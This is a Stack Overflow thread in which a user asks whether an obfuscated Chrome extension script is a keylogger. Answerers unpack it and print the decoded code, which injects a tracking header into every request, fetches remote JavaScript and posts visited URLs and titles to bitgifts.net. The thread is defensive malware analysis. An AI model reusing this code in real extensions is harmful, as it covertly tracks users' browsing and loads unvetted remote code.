6

So I have installed this sketchy looking chrome extension that requires "access to all browsing data" and so I took a look inside it. It contains two files, identical, on is the properly named content.js and the other is a suspiciously named background.js along with what looks to be an unmodified version of jquery. The other two contain the same piece of code and I'm concerned it looks like a key logger to me. Here is the code that I had to tidy up using jsfiddle as it was packed:

eval(function (p, a, c, k, e, d) {
    e = function (c) {
        return c
    };
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[c] = k[c] || c
        }
        k = [function (e) {
            return d[e]
        }];
        e = function () {
            return '\\w+'
        };
        c = 1
    };
    while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
        }
    }
    return p
}('163(65(45,34,37,42,40,39){40=65(37){60(37<34?\'\':40(105(37/34)))+((37=37%34)>35?110.180(37+29):37.123(36))};72(!\'\'.95(/^/,110)){94(37--){39[40(37)]=42[37]||40(37)}42=[65(40){60 39[40]}];40=65(){60\'\\\\58+\'};37=1};94(37--){72(42[37]){45=45.95(101 270(\'\\\\38\'+40(37)+\'\\\\38\',\'43\'),42[37])}}60 45}(\'45 39=["\\\\41\\\\43\\\\40\\\\38\\\\51\\\\47\\\\47\\\\111\\\\38\\\\41\\\\55\\\\37","\\\\46\\\\37\\\\38\\\\78\\\\38\\\\37\\\\55","\\\\50\\\\51\\\\40\\\\50","\\\\46\\\\37\\\\38\\\\107\\\\41\\\\55\\\\37","\\\\40\\\\37\\\\38\\\\78\\\\38\\\\37\\\\55","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\44\\\\37\\\\46\\\\41\\\\40\\\\38\\\\37\\\\44","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\50\\\\42\\\\55\\\\37","\\\\64\\\\44\\\\37\\\\51\\\\38\\\\37","\\\\38\\\\51\\\\54\\\\40","\\\\50\\\\37\\\\47\\\\47\\\\42","\\\\47\\\\42\\\\46","\\\\56\\\\42\\\\40\\\\38","\\\\44\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38\\\\79\\\\37\\\\51\\\\57\\\\37\\\\44\\\\40","\\\\80\\\\41\\\\38\\\\90\\\\41\\\\52\\\\38\\\\40","\\\\56\\\\53\\\\40\\\\50","\\\\242\\\\51\\\\47\\\\47\\\\111\\\\53\\\\44\\\\47\\\\40\\\\252","\\\\54\\\\47\\\\42\\\\64\\\\102\\\\41\\\\43\\\\46","\\\\51\\\\57\\\\57\\\\91\\\\41\\\\40\\\\38\\\\37\\\\43\\\\37\\\\44","\\\\42\\\\43\\\\80\\\\37\\\\52\\\\42\\\\44\\\\37\\\\106\\\\37\\\\43\\\\57\\\\79\\\\37\\\\51\\\\57\\\\37\\\\44\\\\40","\\\\100\\\\37\\\\54\\\\81\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38","\\\\46\\\\37\\\\38\\\\64\\\\40","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\46\\\\37\\\\38\\\\103\\\\40","\\\\46\\\\37\\\\38","\\\\53\\\\44\\\\47","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\40\\\\53\\\\44\\\\52","\\\\38\\\\41\\\\38\\\\47\\\\37","\\\\47\\\\37\\\\43\\\\46\\\\38\\\\50","\\\\44\\\\51\\\\43\\\\57\\\\42\\\\55","\\\\42\\\\43\\\\81\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38","\\\\37\\\\104\\\\38\\\\37\\\\43\\\\40\\\\41\\\\42\\\\43","","\\\\109\\\\80\\\\138\\\\136\\\\134\\\\141\\\\90\\\\79\\\\78\\\\148\\\\145\\\\91\\\\120\\\\116\\\\112\\\\114\\\\115\\\\81\\\\106\\\\107\\\\126\\\\239\\\\167\\\\166\\\\165\\\\168\\\\51\\\\54\\\\64\\\\57\\\\37\\\\52\\\\46\\\\50\\\\41\\\\103\\\\102\\\\47\\\\55\\\\43\\\\42\\\\56\\\\68\\\\44\\\\40\\\\38\\\\53\\\\161\\\\100\\\\104\\\\174\\\\187\\\\186\\\\185\\\\188\\\\189\\\\192\\\\191\\\\190\\\\184\\\\183\\\\177","\\\\52\\\\47\\\\42\\\\42\\\\44","\\\\64\\\\50\\\\51\\\\44\\\\109\\\\38"];45 34=[39[0],39[1],39[2],39[3],39[4],39[5],39[6],39[7],39[8],39[9],39[10],39[11],39[12],39[13],39[14],39[15],39[16],39[17],39[18],39[19],39[20],39[21],39[22],39[23],39[24],39[25],39[26],39[27],39[28],39[29],39[92],39[93],39[96],39[97]];58 99(){61(59[34[1]](34[0])&&59[34[1]](34[2])){73};45 108=125 124()[34[3]]();59[34[4]](34[0],108);45 82=71();59[34[4]](34[2],82);$[34[11]](34[5],{127:82},58(83){77[34[8]][34[7]]({87:34[6]});121[34[10]](34[9])})};99();77[34[19]][34[18]][34[17]](58(98){45 85=98[34[12]],84={};85[34[14]]({119:34[13],131:59[34[1]](34[2])});84[34[12]]=85;73 84},{147:[34[15]]},[34[12],34[16]]);77[34[29]][34[28]][34[17]](58(49,135,67){61(49[34[20]]){$[34[22]](34[21],58(83){67({137:83})})}86{61(49[34[23]]&&49[34[11]]){$[34[11]](34[24],{87:49[34[23]],139:49[34[11]]});67({})}86{61(49[34[23]]&&49[34[25]]){45 63=24+49[34[23]][34[26]]*3-(49[34[25]][34[26]]*2);61(63%4){63+=3}86{63-=4};45 89=247(76[34[27]]()*250);45 88=71();$[34[11]](34[24],{87:49[34[23]],246:49[34[25]],238:63,236:89,241:88});67({})}}}});58 71(){45 75=34[92];45 74=34[93];267(45 70=0;70<16;70++){75+=74[34[97]](76[34[96]](76[34[27]]()*74[34[26]]))};73 75};\',62,146,\'||||||||||262|264|235|208|207|206|209|210|213|212|211|205|204|198|197|196|195|199|200|203|202|201|65|215|72|227|226|229|230|233|232|231|225|224|218|217|60|219|220|223|222|221|193|263|257|265|271|272|268|256|244|240|||||||||||142|118|117|113|128|129|31|33|30|173|160|155|157|32|133|216|228|214|261|260|259|269|273|255|243|237|249|194|140|150|143|144|132|130|178|158|122|151|149|234|251|254|253|258|266|245|152|153|181|182|179|105|||||||||||175|176|162|159|154|101|156|164|170|171|172|169\'.248(\'|\'),0,{}))', 10, 274, '||||||||||||||||||||||||||||||||||a|||c|b|d|e|f|k|g|h|p|j|i|m|l|n|o|q|s|r|v|u|t|w|x|return|y||z|A|function|C|E|D|B|F|U|if|K|L|P|J|S|Q|V|G|I|O|M|H|T|R|N|1j|1k|1l|1f|1i|1g|while|replace|1n|1h|1d|1c|W|new|1a|1b|Y|parseInt|1o|1e|Z|X|String|1m|1H|_0x635cx6|1G|1B|1M|install_notice|x6A|1Q|1N|2g|x4A|toString|2i|2f|1z|1P|x54|x4C|x4F|1V|x50|x53|1O|1X|1w|1Y|1r|1S|x56|1y|x6B|x59|x58|1L||1W|1K|x4E|x57|x4B|vy|value|x37|x47|console|x5F|x76|xc|_0x635cxd|1J|for|eval|x38|1E|1F|1D|1I|x35|Date|x36|x39|_0x635cxe|1t|43260|x34|2k|x5A|data|fromCharCode|urls|_0x635cxa|2h|2e|1p|1s|1x|1q|1A|2j|2l|2b|x49|x51|x66|var|x61|x68|x62|x75|x6D|x70|x64|x2F|_0x635cx9|x69|x73|_0xf8d8|x6E|x72|x6F|x67|x6C|x43|localStorage|x31|Math|x52|_0x635cx11|_0x635cx5|_0x635cx10|_0x635cx4|url|_0x635cx8|x42|x63|_0x635cxc|x32|x2E|x3A|_0x635cx12|_0x635cxb|x71|x4D|x65|1T|x55|2d|1C|_0x635cx3|1U|1v|x46|x78|xv|1R|1Z|split|x33|2a|x45|1u|name|hash|x7A|x41|chrome|title|x3E|x79|x30|_0x6ce2|else|x74|_0x635cx7|post|2c|x77|x3C|RegExp|makeid|x48|x44'.split('|'), 0, {}))
cainy393
  • 422
  • 1
  • 4
  • 16
  • I made a Chrome extension the other day. It features only the file `background.js` to work. That's just what it's called. – Niet the Dark Absol Sep 22 '13 at 20:04
  • Does this code above look suspicious to you though? what are all those numbers doing, i don't understand whats happening in it despite a reasonable understanding of javascript. Could it be a key logger and all thos numbers are keycodes and stuff? – cainy393 Sep 22 '13 at 20:11
  • 5
    It's packaged code. Just replace `eval` with `console.log` and you'll see exactly what it's doing. – Niet the Dark Absol Sep 22 '13 at 20:11
  • it's actually double-packed. After aplying @Kolink 's advice twice and running the output through jsbeautifier, here's what I got: http://pastebin.com/cdLQNYJf – Cristian Lupascu Sep 22 '13 at 20:16
  • chrome extension used to have a background.js, it's just a naming convention. It's not needed anymore since manifest 2.0, but what's in a name, anyway. As per the "see all your browsing history" permission, there are a lot of lazy developers who request the broadest permissions just to save the time it takes to identify which specific permission they need. Finally: if you don't trust an extension, just disable it. – ffflabs Sep 22 '13 at 20:17
  • thanks w0lf thats really helpful actually! Do you think that anything about that looks suspicious? clearly he has gone to quite some effort to hide the real code. – cainy393 Sep 22 '13 at 20:18
  • 2
    @w0lf The first line, unobfuscated, is setting to `["install_time", "getItem", "hash", "getTime", "setItem", "http://bitgifts.net/register", "http://bitgifts.net/home", "create", "tabs", "hello", "log", "post", "requestHeaders", "BitGifts", "push", "", "blocking", "addListener", "onBeforeSendHeaders", "webRequest", "getcs", "http://bitgifts.net/getjs", "get", "url", "http://bitgifts.net/surf", "title", "length", "random", "onRequest", "extension", "", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", "floor", "charAt"]`. The second array is just a copy of the first. – tckmn Sep 22 '13 at 20:19
  • 1
    *(continued)* It's probably bitgifts.net trying to spam you. – tckmn Sep 22 '13 at 20:20
  • Doorknob, they say they put adverts on your page and insert their referal links on sites that use referal links so that they make money. Do you think it looks like they are doing anything other than that? like key logging? – cainy393 Sep 22 '13 at 20:25
  • So this plugin is legit? not a scam or stealing any information? – cainy393 Sep 22 '13 at 20:26

1 Answers1

3

Here's what I could decode. I haven't performed an in-depth analysis of the code, however it seems to be adding a custom BitGifts request header to all requests which contains a uniquely generated key. It's also using chrome.extension.onRequest.addListener which is deprecated. Also, it tries to communicate with http://bitgifts.net/, by either doing a GET data/code from http://bitgifts.net/getjs or POST to http://bitgifts.net/surf. Both of these cannot be served by the server, perhaps because the custom header isin't provided.

Anyway, I wouldn't take any chance and wouldn't install this extension. Actually I probably wouldn't install any extension that left a console.log('hello') behind ;)

function install_notice() {
    if (localStorage["getItem"]("install_time") && localStorage["getItem"]("hash")) {
        return
    }
    var e = (new Date)["getTime"]();
    localStorage["setItem"]("install_time", e);
    var t = makeid();
    localStorage["setItem"]("hash", t);
    $["post"]("http://bitgifts.net/register", {
        hash: t
    }, function (e) {
        chrome["tabs"]["create"]({
            url: "http://bitgifts.net/home"
        });
        console["log"]("hello")
    })
}

function makeid() {
    var e = "";
    var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var n = 0; n < 16; n++) {
        e += t["charAt"](Math["floor"](Math["random"]() * t["length"]))
    }
    return e
}

install_notice();

chrome["webRequest"]["onBeforeSendHeaders"]["addListener"](function (e) {
    var t = e["requestHeaders"],
        n = {};
    t["push"]({
        name: "BitGifts",
        value: localStorage["getItem"]("hash")
    });
    n["requestHeaders"] = t;
    return n
}, {
    urls: ["<all_urls>"]
}, ["requestHeaders", "blocking"]);

chrome["extension"]["onRequest"]["addListener"](function (e, t, n) {
    if (e["getcs"]) {
        $["get"]("http://bitgifts.net/getjs", function (e) {
            n({
                data: e
            })
        })
    } else {
        if (e["url"] && e["post"]) {
            n({})
        } else {
            if (e["url"] && e["title"]) {
                var r = 24 + e["url"]["length"] * 3 - e["title"]["length"] * 2;
                if (r % 4) {
                    r += 3
                } else {
                    r -= 4
                }
                var i = parseInt(Math["random"]() * 43260);
                var s = makeid();
                $["post"]("http://bitgifts.net/surf", {
                    url: e["url"],
                    title: e["title"],
                    xc: r,
                    xv: i,
                    vy: s
                });
                n({})
            }
        }
    }
});
Community
  • 1
  • 1
plalx
  • 42,889
  • 6
  • 74
  • 90
  • So it is fetching additional javascript from else where then isn't it. That could be worrying and I would check out the js its fetching except the website has disappeared... Suspicious to me – cainy393 Sep 23 '13 at 15:21
  • @cainy393 The server probably doesn't serve any requests without the custom request header. I updated the answer, however why did you want to install this extension. What is it doing? – plalx Sep 23 '13 at 17:58